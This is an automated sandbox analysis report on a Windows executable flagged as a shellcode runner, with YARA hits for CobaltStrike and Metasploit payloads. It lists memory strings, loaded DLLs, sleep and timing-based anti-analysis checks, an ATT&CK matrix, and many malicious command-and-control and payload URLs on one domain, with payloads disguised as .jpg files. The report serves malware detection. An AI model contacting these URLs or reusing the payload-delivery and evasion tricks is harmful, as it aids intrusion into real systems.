large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid
Source: zrNcqxZRSM.exe	String found in binary or memory: _cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandoned" not supported for cpu option "MapIter.Value called before Nextuse of closed network connectioncrypto/aes: output not full blockCryptAcquireCertificatePrivateKeyGetVolumeNameForVolumeMountPointWInitializeProcThreadAttributeListSetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyW142108547152020037174224853515625710542735760100185871124267578125too many levels of symbolic linksslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangeGODEBUG: no value specified for "reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangewaiting for unsupported file typecrypto/aes: invalid buffer overlapillegal base64 data at input byte CM_Get_Device_Interface_List_SizeWSetFileCompletionNotificationModes3552713678800500929355621337890625too many references: cannot spliceslice bounds out of range [:%x:%y]slice bounds out of range [%x:%y:]out of memory allocating allArenas/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: source value is too largeVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inconsistent bp entersyscallblock inconsistent sp runtime: g is running but p is notreflect: Field of non-struct type reflect: Field index out of boundsreflect: string index out of rangeunexpected runtime.netpoll error: encoding/hex: odd length hex stringSubscribeServiceChangeNotifications1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9network dropped connection on resettransport endpoint is not connectedpersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid
Source: zrNcqxZRSM.exe	String found in binary or memory: C:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.23.3.windows-amd64/src/net/addrselect.go

Source: unknown	Process created: C:\Users\user\Desktop\zrNcqxZRSM.exe "C:\Users\user\Desktop\zrNcqxZRSM.exe"
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: zrNcqxZRSM.exe

Static file information: File size 1880576 > 1048576

Source: zrNcqxZRSM.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: zrNcqxZRSM.exe	Static PE information: section name: .xdata
Source: zrNcqxZRSM.exe	Static PE information: section name: .symtab

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2650C012B push eax; ret	0_2_000001A2650C0387
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DC9B65 push cs; retf	0_2_000001A266DC9B66
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DCB19F push ebp; iretd	0_2_000001A266DCB1A0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DC97A4 push edi; iretd	0_2_000001A266DC97A5
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DE5632 push ebp; iretd	0_2_000001A266DE5633
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DE565B push ebp; iretd	0_2_000001A266DE565C
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DE5612 push ebp; iretd	0_2_000001A266DE5613
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671CBD58 push ebp; iretd	0_2_000001A2671CBD59
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671CA35D push edi; iretd	0_2_000001A2671CA35E
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671E61CB push ebp; iretd	0_2_000001A2671E61CC
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671E61EB push ebp; iretd	0_2_000001A2671E61EC
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671E6214 push ebp; iretd	0_2_000001A2671E6215
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671CA71E push cs; retf	0_2_000001A2671CA71F
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671EAF58 push ebp; iretd	0_2_000001A2671EAF5D

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Code function: 0_2_00C9A421 rdtsc

0_2_00C9A421

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe TID: 6452	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe TID: 6452	Thread sleep time: -59742s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Code function: 0_2_00C60B00 GetSystemInfo,SetProcessPriorityBoost,

0_2_00C60B00

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD17000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FC6C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Code function: 0_2_00C9D540 Start: 00C9D549 End: 00C9D55F

0_2_00C9D540

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Code function: 0_2_00C9A421 rdtsc

0_2_00C9A421

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Code function: 0_2_000001A2671D3C38 GetUserNameA,strrchr,_snprintf,

0_2_000001A2671D3C38

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Code function: 0_2_00C60200 LoadLibraryExW,LoadLibraryExW,NtCreateWaitCompletionPacket,NtAssociateWaitCompletionPacket,NtCancelWaitCompletionPacket,RtlGetCurrentPeb,RtlGetVersion,

0_2_00C60200

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zrNcqxZRSM.exe PID: 1424, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Metasploit Payload

Source: Yara match	File source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 System Owner/User Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	3 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
zrNcqxZRSM.exe	62%	Virustotal		Browse
zrNcqxZRSM.exe	45%	ReversingLabs	Win64.Trojan.ShellcodeRunner

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg01	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgSecurity	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgY	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgihuifeng	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgBH	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/r	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/0	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/h	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/4	100%	Avira URL Cloud	malware
http://s.xiaojingjingaihuifeng.xyz:443/wqerqwersdgfx64.jpg	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/b	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglSH	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/&	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgp	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/$	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/Z	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~1	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg.	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgw1J	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgD	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgP0	100%	Avira URL Cloud	malware
http://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/-4c6f-abc3-57d03ec4c7ad	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgity	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgase	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglHH	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/dt	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgL1	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpga1X	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg;	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/tes	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgiaojingjingaihuifeng.xyz	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/F	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl=K	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgh1A	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg?1	100%	Avira URL Cloud	malware
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgpany	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cs.xiaojingjingaihuifeng.xyz	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg	true	Avira URL Cloud: malware	unknown
http://s.xiaojingjingaihuifeng.xyz:443/wqerqwersdgfx64.jpg	true	Avira URL Cloud: malware	unknown
http://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cs.xiaojingjingaihuifeng.xyz/4	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg01	zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2472265118.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/r	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgihuifeng	zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2679476654.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/0	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgSecurity	zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2397439674.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2472265118.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgBH	zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgY	zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/h	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/&	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/$	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/b	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglSH	zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgp	zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl	zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3409030268.000001A266CC0000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3107892210.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/Z	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg.	zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FC6C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
